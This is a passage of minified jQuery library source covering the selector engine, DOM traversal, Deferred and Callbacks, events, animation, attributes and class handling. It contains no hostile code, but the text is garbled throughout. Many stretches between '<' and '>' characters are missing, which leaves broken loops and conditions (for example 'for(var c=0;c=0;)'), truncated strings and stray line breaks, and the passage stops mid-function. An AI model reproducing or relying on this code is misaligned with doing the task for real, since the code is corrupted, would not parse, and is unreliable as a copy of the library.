j,k,l,m,n,o,p=f!==g?"nextSibling":"previousSibling",q=b.parentNode,r=h&&b.nodeName.toLowerCase(),s=!i&&!h,t=!1;if(q){if(f){while(p){m=b;while(m=m[p])if(h?m.nodeName.toLowerCase()===r:1===m.nodeType)return!1;o=p="only"===a&&!o&&"nextSibling"}return!0}if(o=[g?q.firstChild:q.lastChild],g&&s){m=q,l=m[u]||(m[u]={}),k=l[m.uniqueID]||(l[m.uniqueID]={}),j=k[a]||[],n=j[0]===w&&j[1],t=n&&j[2],m=n&&q.childNodes[n];while(m=++n&&m&&m[p]||(t=n=0)||o.pop())if(1===m.nodeType&&++t&&m===b){k[a]=[w,n,t];break}}else if(s&&(m=b,l=m[u]||(m[u]={}),k=l[m.uniqueID]||(l[m.uniqueID]={}),j=k[a]||[],n=j[0]===w&&j[1],t=n),t===!1)while(m=++n&&m&&m[p]||(t=n=0)||o.pop())if((h?m.nodeName.toLowerCase()===r:1===m.nodeType)&&++t&&(s&&(l=m[u]||(m[u]={}),k=l[m.uniqueID]||(l[m.uniqueID]={}),k[a]=[w,t]),m===b))break;return t-=e,t===d||t%d===0&&t/d>=0}}},PSEUDO:function(a,b){var c,e=d.pseudos[a]||d.setFilters[a.toLowerCase()]||ga.error("unsupported pseudo: "+a);return e[u]?e(b):e.length>1?(c=[a,a,"",b],d.setFilters.hasOwnProperty(a.toLowerCase())?ia(function(a,c){var d,f=e(a,b),g=f.length;while(g--)d=I(a,f[g]),a[d]=!(c[d]=f[g])}):function(a){return e(a,0,c)}):e}},pseudos:{not:ia(function(a){var b=[],c=[],d=h(a.replace(P,"$1"));return d[u]?ia(function(a,b,c,e){var f,g=d(a,null,e,[]),h=a.length;while(h--)(f=g[h])&&(a[h]=!(b[h]=f))}):function(a,e,f){return b[0]=a,d(b,null,f,c),b[0]=null,!c.pop()}}),has:ia(function(a){return function(b){return ga(a,b).length>0}}),contains:ia(function(a){return a=a.replace(_,aa),function(b){return(b.textContent||b.innerText||e(b)).indexOf(a)>-1}}),lang:ia(function(a){return U.test(a||"")||ga.error("unsupported lang: "+a),a=a.replace(_,aa).toLowerCase(),function(b){var c;do if(c=p?b.lang:b.getAttribute("xml:lang")||b.getAttribute("lang"))return c=c.toLowerCase(),c===a||0===c.indexOf(a+"-");while((b=b.parentNode)&&1===b.nodeType);return!1}}),target:function(b){var c=a.location&&a.location.hash;return c&&c.slice(1)===b.id},root:function(a){return a===o},focus:function(a){return a===n.activeElement&&(!n.hasFocus||n.hasFocus())&&!!(a.type||a.href||~a.tabIndex)},enabled:oa(!1),disabled:oa(!0),checked:function(a){var b=a.nodeName.toLowerCase();return"input"===b&&!!a.checked||"option"===b&&!!a.selected},selected:function(a){return a.parentNode&&a.parentNode.selectedIndex,a.selected===!0},empty:function(a){for(a=a.firstChild;a;a=a.nextSibling)if(a.nodeType<6)return!1;return!0},parent:function(a){return!d.pseudos.empty(a)},header:function(a){return X.test(a.nodeName)},input:function(a){return W.test(a.nodeName)},button:function(a){var b=a.nodeName.toLowerCase();return"input"===b&&"button"===a.type||"button"===b},text:function(a){var b;return"input"===a.nodeName.toLowerCase()&&"text"===a.type&&(null==(b=a.getAttribute("type"))||"text"===b.toLowerCase())},first:pa(function(){return[0]}),last:pa(function(a,b){return[b-1]}),eq:pa(function(a,b,c){return[c<0?c+b:c]}),even:pa(function(a,b){for(var c=0;c=0;)a.push(d);return a}),gt:pa(function(a,b,c){for(var d=c<0?c+b:c;++d1?function(b,c,d){var e=a.length;while(e--)if(!a[e](b,c,d))return!1;return!0}:a[0]}function va(a,b,c){for(var d=0,e=b.length;d-1&&(f[j]=!(g[j]=l))}}else r=wa(r===g?r.splice(o,r.length):r),e?e(null,g,r,i):G.apply(g,r)})}function ya(a){for(var b,c,e,f=a.length,g=d.relative[a[0].type],h=g||d.relative[" "],i=g?1:0,k=ta(function(a){return a===b},h,!0),l=ta(function(a){return I(b,a)>-1},h,!0),m=[function(a,c,d){var e=!g&&(d||c!==j)||((b=c).nodeType?k(a,c,d):l(a,c,d));return b=null,e}];i1&&ua(m),i>1&&sa(a.slice(0,i-1).concat({value:" "===a[i-2].type?"*":""})).replace(P,"$1"),c,i0,e=a.length>0,f=function(f,g,h,i,k){var l,o,q,r=0,s="0",t=f&&[],u=[],v=j,x=f||e&&d.find.TAG("*",k),y=w+=null==v?1:Math.random()||.1,z=x.length;for(k&&(j=g===n||g||k);s!==z&&null!=(l=x[s]);s++){if(e&&l){o=0,g||l.ownerDocument===n||(m(l),h=!p);while(q=a[o++])if(q(l,g||n,h)){i.push(l);break}k&&(w=y)}c&&((l=!q&&l)&&r--,f&&t.push(l))}if(r+=s,c&&s!==r){o=0;while(q=b[o++])q(t,u,g,h);if(f){if(r>0)while(s--)t[s]||u[s]||(u[s]=E.call(i));u=wa(u)}G.apply(i,u),k&&!f&&u.length>0&&r+b.length>1&&ga.uniqueSort(i)}return k&&(w=y,j=v),t};return c?ia(f):f}return h=ga.compile=function(a,b){var c,d=[],e=[],f=A[a+" "];if(!f){b||(b=g(a)),c=b.length;while(c--)f=ya(b[c]),f[u]?d.push(f):e.push(f);f=A(a,za(e,d)),f.selector=a}return f},i=ga.select=function(a,b,c,e){var f,i,j,k,l,m="function"==typeof a&&a,n=!e&&g(a=m.selector||a);if(c=c||[],1===n.length){if(i=n[0]=n[0].slice(0),i.length>2&&"ID"===(j=i[0]).type&&9===b.nodeType&&p&&d.relative[i[1].type]){if(b=(d.find.ID(j.matches[0].replace(_,aa),b)||[])[0],!b)return c;m&&(b=b.parentNode),a=a.slice(i.shift().value.length)}f=V.needsContext.test(a)?0:i.length;while(f--){if(j=i[f],d.relative[k=j.type])break;if((l=d.find[k])&&(e=l(j.matches[0].replace(_,aa),$.test(i[0].type)&&qa(b.parentNode)||b))){if(i.splice(f,1),a=e.length&&sa(i),!a)return G.apply(c,e),c;break}}}return(m||h(a,n))(e,b,!p,c,!b||$.test(a)&&qa(b.parentNode)||b),c},c.sortStable=u.split("").sort(B).join("")===u,c.detectDuplicates=!!l,m(),c.sortDetached=ja(function(a){return 1&a.compareDocumentPosition(n.createElement("fieldset"))}),ja(function(a){return a.innerHTML="","#"===a.firstChild.getAttribute("href")})||ka("type|href|height|width",function(a,b,c){if(!c)return a.getAttribute(b,"type"===b.toLowerCase()?1:2)}),c.attributes&&ja(function(a){return a.innerHTML="",a.firstChild.setAttribute("value",""),""===a.firstChild.getAttribute("value")})||ka("value",function(a,b,c){if(!c&&"input"===a.nodeName.toLowerCase())return a.defaultValue}),ja(function(a){return null==a.getAttribute("disabled")})||ka(J,function(a,b,c){var d;if(!c)return a[b]===!0?b.toLowerCase():(d=a.getAttributeNode(b))&&d.specified?d.value:null}),ga}(a);r.find=x,r.expr=x.selectors,r.expr[":"]=r.expr.pseudos,r.uniqueSort=r.unique=x.uniqueSort,r.text=x.getText,r.isXMLDoc=x.isXML,r.contains=x.contains,r.escapeSelector=x.escape;var y=function(a,b,c){var d=[],e=void 0!==c;while((a=a[b])&&9!==a.nodeType)if(1===a.nodeType){if(e&&r(a).is(c))break;d.push(a)}return d},z=function(a,b){for(var c=[];a;a=a.nextSibling)1===a.nodeType&&a!==b&&c.push(a);return c},A=r.expr.match.needsContext;function B(a,b){return a.nodeName&&a.nodeName.toLowerCase()===b.toLowerCase()}var C=/^<([a-z][^\/\0>:\x20\t\r\n\f]*)[\x20\t\r\n\f]*\/?>(?:<\/\1>|)$/i,D=/^.[^:#\[\.,]*$/;function E(a,b,c){return r.isFunction(b)?r.grep(a,function(a,d){return!!b.call(a,d,a)!==c}):b.nodeType?r.grep(a,function(a){return a===b!==c}):"string"!=typeof b?r.grep(a,function(a){return i.call(b,a)>-1!==c}):D.test(b)?r.filter(b,a,c):(b=r.filter(b,a),r.grep(a,function(a){return i.call(b,a)>-1!==c&&1===a.nodeType}))}r.filter=function(a,b,c){var d=b[0];return c&&(a=":not("+a+")"),1===b.length&&1===d.nodeType?r.find.matchesSelector(d,a)?[d]:[]:r.find.matches(a,r.grep(b,function(a){return 1===a.nodeType}))},r.fn.extend({find:function(a){var b,c,d=this.length,e=this;if("string"!=typeof a)return this.pushStack(r(a).filter(function(){for(b=0;b1?r.uniqueSort(c):c},filter:function(a){return this.pushStack(E(this,a||[],!1))},not:function(a){return this.pushStack(E(this,a||[],!0))},is:function(a){return!!E(this,"string"==typeof a&&A.test(a)?r(a):a||[],!1).length}});var F,G=/^(?:\s*(<[\w\W]+>)[^>]*|#([\w-]+))$/,H=r.fn.init=function(a,b,c){var e,f;if(!a)return this;if(c=c||F,"string"==typeof a){if(e="<"===a[0]&&">"===a[a.length-1]&&a.length>=3?[null,a,null]:G.exec(a),!e||!e[1]&&b)return!b||b.jquery?(b||c).find(a):this.constructor(b).find(a);if(e[1]){if(b=b instanceof r?b[0]:b,r.merge(this,r.parseHTML(e[1],b&&b.nodeType?b.ownerDocument||b:d,!0)),C.test(e[1])&&r.isPlainObject(b))for(e in b)r.isFunction(this[e])?this[e](b[e]):this.attr(e,b[e]);return this}return f=d.getElementById(e[2]),f&&(this[0]=f,this.length=1),this}return a.nodeType?(this[0]=a,this.length=1,this):r.isFunction(a)?void 0!==c.ready?c.ready(a):a(r):r.makeArray(a,this)};H.prototype=r.fn,F=r(d);var I=/^(?:parents|prev(?:Until|All))/,J={children:!0,contents:!0,next:!0,prev:!0};r.fn.extend({has:function(a){var b=r(a,this),c=b.length;return this.filter(function(){for(var a=0;a-1:1===c.nodeType&&r.find.matchesSelector(c,a))){f.push(c);break}return this.pushStack(f.length>1?r.uniqueSort(f):f)},index:function(a){return a?"string"==typeof a?i.call(r(a),this[0]):i.call(this,a.jquery?a[0]:a):this[0]&&this[0].parentNode?this.first().prevAll().length:-1},add:function(a,b){return this.pushStack(r.uniqueSort(r.merge(this.get(),r(a,b))))},addBack:function(a){return this.add(null==a?this.prevObject:this.prevObject.filter(a))}});function K(a,b){while((a=a[b])&&1!==a.nodeType);return a}r.each({parent:function(a){var b=a.parentNode;return b&&11!==b.nodeType?b:null},parents:function(a){return y(a,"parentNode")},parentsUntil:function(a,b,c){return y(a,"parentNode",c)},next:function(a){return K(a,"nextSibling")},prev:function(a){return K(a,"previousSibling")},nextAll:function(a){return y(a,"nextSibling")},prevAll:function(a){return y(a,"previousSibling")},nextUntil:function(a,b,c){return y(a,"nextSibling",c)},prevUntil:function(a,b,c){return y(a,"previousSibling",c)},siblings:function(a){return z((a.parentNode||{}).firstChild,a)},children:function(a){return z(a.firstChild)},contents:function(a){return B(a,"iframe")?a.contentDocument:(B(a,"template")&&(a=a.content||a),r.merge([],a.childNodes))}},function(a,b){r.fn[a]=function(c,d){var e=r.map(this,b,c);return"Until"!==a.slice(-5)&&(d=c),d&&"string"==typeof d&&(e=r.filter(d,e)),this.length>1&&(J[a]||r.uniqueSort(e),I.test(a)&&e.reverse()),this.pushStack(e)}});var L=/[^\x20\t\r\n\f]+/g;function M(a){var b={};return r.each(a.match(L)||[],function(a,c){b[c]=!0}),b}r.Callbacks=function(a){a="string"==typeof a?M(a):r.extend({},a);var b,c,d,e,f=[],g=[],h=-1,i=function(){for(e=e||a.once,d=b=!0;g.length;h=-1){c=g.shift();while(++h-1)f.splice(c,1),c<=h&&h--}),this},has:function(a){return a?r.inArray(a,f)>-1:f.length>0},empty:function(){return f&&(f=[]),this},disable:function(){return e=g=[],f=c="",this},disabled:function(){return!f},lock:function(){return e=g=[],c||b||(f=c=""),this},locked:function(){return!!e},fireWith:function(a,c){return e||(c=c||[],c=[a,c.slice?c.slice():c],g.push(c),b||i()),this},fire:function(){return j.fireWith(this,arguments),this},fired:function(){return!!d}};return j};function N(a){return a}function O(a){throw a}function P(a,b,c,d){var e;try{a&&r.isFunction(e=a.promise)?e.call(a).done(b).fail(c):a&&r.isFunction(e=a.then)?e.call(a,b,c):b.apply(void 0,[a].slice(d))}catch(a){c.apply(void 0,[a])}}r.extend({Deferred:function(b){var c=[["notify","progress",r.Callbacks("memory"),r.Callbacks("memory"),2],["resolve","done",r.Callbacks("once memory"),r.Callbacks("once memory"),0,"resolved"],["reject","fail",r.Callbacks("once memory"),r.Callbacks("once memory"),1,"rejected"]],d="pending",e={state:function(){return d},always:function(){return f.done(arguments).fail(arguments),this},"catch":function(a){return e.then(null,a)},pipe:function(){var a=arguments;return r.Deferred(function(b){r.each(c,function(c,d){var e=r.isFunction(a[d[4]])&&a[d[4]];f[d[1]](function(){var a=e&&e.apply(this,arguments);a&&r.isFunction(a.promise)?a.promise().progress(b.notify).done(b.resolve).fail(b.reject):b[d[0]+"With"](this,e?[a]:arguments)})}),a=null}).promise()},then:function(b,d,e){var f=0;function g(b,c,d,e){return function(){var h=this,i=arguments,j=function(){var a,j;if(!(b=f&&(d!==O&&(h=void 0,i=[a]),c.rejectWith(h,i))}};b?k():(r.Deferred.getStackHook&&(k.stackTrace=r.Deferred.getStackHook()),a.setTimeout(k))}}return r.Deferred(function(a){c[0][3].add(g(0,a,r.isFunction(e)?e:N,a.notifyWith)),c[1][3].add(g(0,a,r.isFunction(b)?b:N)),c[2][3].add(g(0,a,r.isFunction(d)?d:O))}).promise()},promise:function(a){return null!=a?r.extend(a,e):e}},f={};return r.each(c,function(a,b){var g=b[2],h=b[5];e[b[1]]=g.add,h&&g.add(function(){d=h},c[3-a][2].disable,c[0][2].lock),g.add(b[3].fire),f[b[0]]=function(){return f[b[0]+"With"](this===f?void 0:this,arguments),this},f[b[0]+"With"]=g.fireWith}),e.promise(f),b&&b.call(f,f),f},when:function(a){var b=arguments.length,c=b,d=Array(c),e=f.call(arguments),g=r.Deferred(),h=function(a){return function(c){d[a]=this,e[a]=arguments.length>1?f.call(arguments):c,--b||g.resolveWith(d,e)}};if(b<=1&&(P(a,g.done(h(c)).resolve,g.reject,!b),"pending"===g.state()||r.isFunction(e[c]&&e[c].then)))return g.then();while(c--)P(e[c],h(c),g.reject);return g.promise()}});var Q=/^(Eval|Internal|Range|Reference|Syntax|Type|URI)Error$/;r.Deferred.exceptionHook=function(b,c){a.console&&a.console.warn&&b&&Q.test(b.name)&&a.console.warn("jQuery.Deferred exception: "+b.message,b.stack,c)},r.readyException=function(b){a.setTimeout(function(){throw b})};var R=r.Deferred();r.fn.ready=function(a){return R.then(a)["catch"](function(a){r.readyException(a)}),this},r.extend({isReady:!1,readyWait:1,ready:function(a){(a===!0?--r.readyWait:r.isReady)||(r.isReady=!0,a!==!0&&--r.readyWait>0||R.resolveWith(d,[r]))}}),r.ready.then=R.then;function S(){d.removeEventListener("DOMContentLoaded",S), +a.removeEventListener("load",S),r.ready()}"complete"===d.readyState||"loading"!==d.readyState&&!d.documentElement.doScroll?a.setTimeout(r.ready):(d.addEventListener("DOMContentLoaded",S),a.addEventListener("load",S));var T=function(a,b,c,d,e,f,g){var h=0,i=a.length,j=null==c;if("object"===r.type(c)){e=!0;for(h in c)T(a,b,h,c[h],!0,f,g)}else if(void 0!==d&&(e=!0,r.isFunction(d)||(g=!0),j&&(g?(b.call(a,d),b=null):(j=b,b=function(a,b,c){return j.call(r(a),c)})),b))for(;h1,null,!0)},removeData:function(a){return this.each(function(){X.remove(this,a)})}}),r.extend({queue:function(a,b,c){var d;if(a)return b=(b||"fx")+"queue",d=W.get(a,b),c&&(!d||Array.isArray(c)?d=W.access(a,b,r.makeArray(c)):d.push(c)),d||[]},dequeue:function(a,b){b=b||"fx";var c=r.queue(a,b),d=c.length,e=c.shift(),f=r._queueHooks(a,b),g=function(){r.dequeue(a,b)};"inprogress"===e&&(e=c.shift(),d--),e&&("fx"===b&&c.unshift("inprogress"),delete f.stop,e.call(a,g,f)),!d&&f&&f.empty.fire()},_queueHooks:function(a,b){var c=b+"queueHooks";return W.get(a,c)||W.access(a,c,{empty:r.Callbacks("once memory").add(function(){W.remove(a,[b+"queue",c])})})}}),r.fn.extend({queue:function(a,b){var c=2;return"string"!=typeof a&&(b=a,a="fx",c--),arguments.length\x20\t\r\n\f]+)/i,la=/^$|\/(?:java|ecma)script/i,ma={option:[1,""],thead:[1,"","
          "],col:[2,"","
          "],tr:[2,"","
          "],td:[3,"","
          "],_default:[0,"",""]};ma.optgroup=ma.option,ma.tbody=ma.tfoot=ma.colgroup=ma.caption=ma.thead,ma.th=ma.td;function na(a,b){var c;return c="undefined"!=typeof a.getElementsByTagName?a.getElementsByTagName(b||"*"):"undefined"!=typeof a.querySelectorAll?a.querySelectorAll(b||"*"):[],void 0===b||b&&B(a,b)?r.merge([a],c):c}function oa(a,b){for(var c=0,d=a.length;c-1)e&&e.push(f);else if(j=r.contains(f.ownerDocument,f),g=na(l.appendChild(f),"script"),j&&oa(g),c){k=0;while(f=g[k++])la.test(f.type||"")&&c.push(f)}return l}!function(){var a=d.createDocumentFragment(),b=a.appendChild(d.createElement("div")),c=d.createElement("input");c.setAttribute("type","radio"),c.setAttribute("checked","checked"),c.setAttribute("name","t"),b.appendChild(c),o.checkClone=b.cloneNode(!0).cloneNode(!0).lastChild.checked,b.innerHTML="",o.noCloneChecked=!!b.cloneNode(!0).lastChild.defaultValue}();var ra=d.documentElement,sa=/^key/,ta=/^(?:mouse|pointer|contextmenu|drag|drop)|click/,ua=/^([^.]*)(?:\.(.+)|)/;function va(){return!0}function wa(){return!1}function xa(){try{return d.activeElement}catch(a){}}function ya(a,b,c,d,e,f){var g,h;if("object"==typeof b){"string"!=typeof c&&(d=d||c,c=void 0);for(h in b)ya(a,h,c,d,b[h],f);return a}if(null==d&&null==e?(e=c,d=c=void 0):null==e&&("string"==typeof c?(e=d,d=void 0):(e=d,d=c,c=void 0)),e===!1)e=wa;else if(!e)return a;return 1===f&&(g=e,e=function(a){return r().off(a),g.apply(this,arguments)},e.guid=g.guid||(g.guid=r.guid++)),a.each(function(){r.event.add(this,b,e,d,c)})}r.event={global:{},add:function(a,b,c,d,e){var f,g,h,i,j,k,l,m,n,o,p,q=W.get(a);if(q){c.handler&&(f=c,c=f.handler,e=f.selector),e&&r.find.matchesSelector(ra,e),c.guid||(c.guid=r.guid++),(i=q.events)||(i=q.events={}),(g=q.handle)||(g=q.handle=function(b){return"undefined"!=typeof r&&r.event.triggered!==b.type?r.event.dispatch.apply(a,arguments):void 0}),b=(b||"").match(L)||[""],j=b.length;while(j--)h=ua.exec(b[j])||[],n=p=h[1],o=(h[2]||"").split(".").sort(),n&&(l=r.event.special[n]||{},n=(e?l.delegateType:l.bindType)||n,l=r.event.special[n]||{},k=r.extend({type:n,origType:p,data:d,handler:c,guid:c.guid,selector:e,needsContext:e&&r.expr.match.needsContext.test(e),namespace:o.join(".")},f),(m=i[n])||(m=i[n]=[],m.delegateCount=0,l.setup&&l.setup.call(a,d,o,g)!==!1||a.addEventListener&&a.addEventListener(n,g)),l.add&&(l.add.call(a,k),k.handler.guid||(k.handler.guid=c.guid)),e?m.splice(m.delegateCount++,0,k):m.push(k),r.event.global[n]=!0)}},remove:function(a,b,c,d,e){var f,g,h,i,j,k,l,m,n,o,p,q=W.hasData(a)&&W.get(a);if(q&&(i=q.events)){b=(b||"").match(L)||[""],j=b.length;while(j--)if(h=ua.exec(b[j])||[],n=p=h[1],o=(h[2]||"").split(".").sort(),n){l=r.event.special[n]||{},n=(d?l.delegateType:l.bindType)||n,m=i[n]||[],h=h[2]&&new RegExp("(^|\\.)"+o.join("\\.(?:.*\\.|)")+"(\\.|$)"),g=f=m.length;while(f--)k=m[f],!e&&p!==k.origType||c&&c.guid!==k.guid||h&&!h.test(k.namespace)||d&&d!==k.selector&&("**"!==d||!k.selector)||(m.splice(f,1),k.selector&&m.delegateCount--,l.remove&&l.remove.call(a,k));g&&!m.length&&(l.teardown&&l.teardown.call(a,o,q.handle)!==!1||r.removeEvent(a,n,q.handle),delete i[n])}else for(n in i)r.event.remove(a,n+b[j],c,d,!0);r.isEmptyObject(i)&&W.remove(a,"handle events")}},dispatch:function(a){var b=r.event.fix(a),c,d,e,f,g,h,i=new Array(arguments.length),j=(W.get(this,"events")||{})[b.type]||[],k=r.event.special[b.type]||{};for(i[0]=b,c=1;c=1))for(;j!==this;j=j.parentNode||this)if(1===j.nodeType&&("click"!==a.type||j.disabled!==!0)){for(f=[],g={},c=0;c-1:r.find(e,this,null,[j]).length),g[e]&&f.push(d);f.length&&h.push({elem:j,handlers:f})}return j=this,i\x20\t\r\n\f]*)[^>]*)\/>/gi,Aa=/\s*$/g;function Ea(a,b){return B(a,"table")&&B(11!==b.nodeType?b:b.firstChild,"tr")?r(">tbody",a)[0]||a:a}function Fa(a){return a.type=(null!==a.getAttribute("type"))+"/"+a.type,a}function Ga(a){var b=Ca.exec(a.type);return b?a.type=b[1]:a.removeAttribute("type"),a}function Ha(a,b){var c,d,e,f,g,h,i,j;if(1===b.nodeType){if(W.hasData(a)&&(f=W.access(a),g=W.set(b,f),j=f.events)){delete g.handle,g.events={};for(e in j)for(c=0,d=j[e].length;c1&&"string"==typeof q&&!o.checkClone&&Ba.test(q))return a.each(function(e){var f=a.eq(e);s&&(b[0]=q.call(this,e,f.html())),Ja(f,b,c,d)});if(m&&(e=qa(b,a[0].ownerDocument,!1,a,d),f=e.firstChild,1===e.childNodes.length&&(e=f),f||d)){for(h=r.map(na(e,"script"),Fa),i=h.length;l")},clone:function(a,b,c){var d,e,f,g,h=a.cloneNode(!0),i=r.contains(a.ownerDocument,a);if(!(o.noCloneChecked||1!==a.nodeType&&11!==a.nodeType||r.isXMLDoc(a)))for(g=na(h),f=na(a),d=0,e=f.length;d0&&oa(g,!i&&na(a,"script")),h},cleanData:function(a){for(var b,c,d,e=r.event.special,f=0;void 0!==(c=a[f]);f++)if(U(c)){if(b=c[W.expando]){if(b.events)for(d in b.events)e[d]?r.event.remove(c,d):r.removeEvent(c,d,b.handle);c[W.expando]=void 0}c[X.expando]&&(c[X.expando]=void 0)}}}),r.fn.extend({detach:function(a){return Ka(this,a,!0)},remove:function(a){return Ka(this,a)},text:function(a){return T(this,function(a){return void 0===a?r.text(this):this.empty().each(function(){1!==this.nodeType&&11!==this.nodeType&&9!==this.nodeType||(this.textContent=a)})},null,a,arguments.length)},append:function(){return Ja(this,arguments,function(a){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var b=Ea(this,a);b.appendChild(a)}})},prepend:function(){return Ja(this,arguments,function(a){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var b=Ea(this,a);b.insertBefore(a,b.firstChild)}})},before:function(){return Ja(this,arguments,function(a){this.parentNode&&this.parentNode.insertBefore(a,this)})},after:function(){return Ja(this,arguments,function(a){this.parentNode&&this.parentNode.insertBefore(a,this.nextSibling)})},empty:function(){for(var a,b=0;null!=(a=this[b]);b++)1===a.nodeType&&(r.cleanData(na(a,!1)),a.textContent="");return this},clone:function(a,b){return a=null!=a&&a,b=null==b?a:b,this.map(function(){return r.clone(this,a,b)})},html:function(a){return T(this,function(a){var b=this[0]||{},c=0,d=this.length;if(void 0===a&&1===b.nodeType)return b.innerHTML;if("string"==typeof a&&!Aa.test(a)&&!ma[(ka.exec(a)||["",""])[1].toLowerCase()]){a=r.htmlPrefilter(a);try{for(;c1)}});function _a(a,b,c,d,e){return new _a.prototype.init(a,b,c,d,e)}r.Tween=_a,_a.prototype={constructor:_a,init:function(a,b,c,d,e,f){this.elem=a,this.prop=c,this.easing=e||r.easing._default,this.options=b,this.start=this.now=this.cur(),this.end=d,this.unit=f||(r.cssNumber[c]?"":"px")},cur:function(){var a=_a.propHooks[this.prop];return a&&a.get?a.get(this):_a.propHooks._default.get(this)},run:function(a){var b,c=_a.propHooks[this.prop];return this.options.duration?this.pos=b=r.easing[this.easing](a,this.options.duration*a,0,1,this.options.duration):this.pos=b=a,this.now=(this.end-this.start)*b+this.start,this.options.step&&this.options.step.call(this.elem,this.now,this),c&&c.set?c.set(this):_a.propHooks._default.set(this),this}},_a.prototype.init.prototype=_a.prototype,_a.propHooks={_default:{get:function(a){var b;return 1!==a.elem.nodeType||null!=a.elem[a.prop]&&null==a.elem.style[a.prop]?a.elem[a.prop]:(b=r.css(a.elem,a.prop,""),b&&"auto"!==b?b:0)},set:function(a){r.fx.step[a.prop]?r.fx.step[a.prop](a):1!==a.elem.nodeType||null==a.elem.style[r.cssProps[a.prop]]&&!r.cssHooks[a.prop]?a.elem[a.prop]=a.now:r.style(a.elem,a.prop,a.now+a.unit)}}},_a.propHooks.scrollTop=_a.propHooks.scrollLeft={set:function(a){a.elem.nodeType&&a.elem.parentNode&&(a.elem[a.prop]=a.now)}},r.easing={linear:function(a){return a},swing:function(a){return.5-Math.cos(a*Math.PI)/2},_default:"swing"},r.fx=_a.prototype.init,r.fx.step={};var ab,bb,cb=/^(?:toggle|show|hide)$/,db=/queueHooks$/;function eb(){bb&&(d.hidden===!1&&a.requestAnimationFrame?a.requestAnimationFrame(eb):a.setTimeout(eb,r.fx.interval),r.fx.tick())}function fb(){return a.setTimeout(function(){ab=void 0}),ab=r.now()}function gb(a,b){var c,d=0,e={height:a};for(b=b?1:0;d<4;d+=2-b)c=ca[d],e["margin"+c]=e["padding"+c]=a;return b&&(e.opacity=e.width=a),e}function hb(a,b,c){for(var d,e=(kb.tweeners[b]||[]).concat(kb.tweeners["*"]),f=0,g=e.length;f1)},removeAttr:function(a){return this.each(function(){r.removeAttr(this,a)})}}),r.extend({attr:function(a,b,c){var d,e,f=a.nodeType;if(3!==f&&8!==f&&2!==f)return"undefined"==typeof a.getAttribute?r.prop(a,b,c):(1===f&&r.isXMLDoc(a)||(e=r.attrHooks[b.toLowerCase()]||(r.expr.match.bool.test(b)?lb:void 0)),void 0!==c?null===c?void r.removeAttr(a,b):e&&"set"in e&&void 0!==(d=e.set(a,c,b))?d:(a.setAttribute(b,c+""),c):e&&"get"in e&&null!==(d=e.get(a,b))?d:(d=r.find.attr(a,b), +null==d?void 0:d))},attrHooks:{type:{set:function(a,b){if(!o.radioValue&&"radio"===b&&B(a,"input")){var c=a.value;return a.setAttribute("type",b),c&&(a.value=c),b}}}},removeAttr:function(a,b){var c,d=0,e=b&&b.match(L);if(e&&1===a.nodeType)while(c=e[d++])a.removeAttribute(c)}}),lb={set:function(a,b,c){return b===!1?r.removeAttr(a,c):a.setAttribute(c,c),c}},r.each(r.expr.match.bool.source.match(/\w+/g),function(a,b){var c=mb[b]||r.find.attr;mb[b]=function(a,b,d){var e,f,g=b.toLowerCase();return d||(f=mb[g],mb[g]=e,e=null!=c(a,b,d)?g:null,mb[g]=f),e}});var nb=/^(?:input|select|textarea|button)$/i,ob=/^(?:a|area)$/i;r.fn.extend({prop:function(a,b){return T(this,r.prop,a,b,arguments.length>1)},removeProp:function(a){return this.each(function(){delete this[r.propFix[a]||a]})}}),r.extend({prop:function(a,b,c){var d,e,f=a.nodeType;if(3!==f&&8!==f&&2!==f)return 1===f&&r.isXMLDoc(a)||(b=r.propFix[b]||b,e=r.propHooks[b]),void 0!==c?e&&"set"in e&&void 0!==(d=e.set(a,c,b))?d:a[b]=c:e&&"get"in e&&null!==(d=e.get(a,b))?d:a[b]},propHooks:{tabIndex:{get:function(a){var b=r.find.attr(a,"tabindex");return b?parseInt(b,10):nb.test(a.nodeName)||ob.test(a.nodeName)&&a.href?0:-1}}},propFix:{"for":"htmlFor","class":"className"}}),o.optSelected||(r.propHooks.selected={get:function(a){var b=a.parentNode;return b&&b.parentNode&&b.parentNode.selectedIndex,null},set:function(a){var b=a.parentNode;b&&(b.selectedIndex,b.parentNode&&b.parentNode.selectedIndex)}}),r.each(["tabIndex","readOnly","maxLength","cellSpacing","cellPadding","rowSpan","colSpan","useMap","frameBorder","contentEditable"],function(){r.propFix[this.toLowerCase()]=this});function pb(a){var b=a.match(L)||[];return b.join(" ")}function qb(a){return a.getAttribute&&a.getAttribute("class")||""}r.fn.extend({addClass:function(a){var b,c,d,e,f,g,h,i=0;if(r.isFunction(a))return this.each(function(b){r(this).addClass(a.call(this,b,qb(this)))});if("string"==typeof a&&a){b=a.match(L)||[];while(c=this[i++])if(e=qb(c),d=1===c.nodeType&&" "+pb(e)+" "){g=0;while(f=b[g++])d.indexOf(" "+f+" ")<0&&(d+=f+" ");h=pb(d),e!==h&&c.setAttribute("class",h)}}return this},removeClass:function(a){var b,c,d,e,f,g,h,i=0;if(r.isFunction(a))return this.each(function(b){r(this).removeClass(a.call(this,b,qb(this)))});if(!arguments.length)return this.attr("class","");if("string"==typeof a&&a){b=a.match(L)||[];while(c=this[i++])if(e=qb(c),d=1===c.nodeType&&" "+pb(e)+" "){g=0;while(f=b[g++])while(d.indexOf(" "+f+" ")>-1)d=d.replace(" "+f+" "," ");h=pb(d),e!==h&&c.setAttribute("class",h)}}return this},toggleClass:function(a,b){var c=typeof a;return"boolean"==typeof b&&"string"===c?b?this.addClass(a):this.removeClass(a):r.isFunction(a)?this.each(function(c){r(this).toggleClass(a.call(this,c,qb(this),b),b)}):this.each(function(){var b,d,e,f;if("string"===c){d=0,e=r(this),f=a.match(L)||[];while(b=f[d++])e.hasClass(b)?e.removeClass(b):e.addClass(b)}else void 0!==a&&"boolean"!==c||(b=qb(this),b&&W.set(this,"__className__",b),this.setAttribute&&this.setAttribute("class",b||a===!1?"":W.get(this,"__className__")||""))})},hasClass:function(a){var b,c,d=0;b=" "+a+" ";while(c=this[d++])if(1===c.nodeType&&(" "+pb(qb(c))+" ").indexOf(b)>-1)return!0;return!1}});var rb=/\r/g;r.fn.extend({val:function(a){var b,c,d,e=this[0];{if(arguments.length)return d=r.isFunction(a),this.each(function(c){var e;1===this.nodeType&&(e=d?a.call(this,c,r(this).val()):a,null==e?e="":"number"==typeof e?e+="":Array.isArray(e)&&(e=r.map(e,function(a){return null==a?"":a+""})),b=r.valHooks[this.type]||r.valHooks[this.nodeName.toLowerCase()],b&&"set"in b&&void 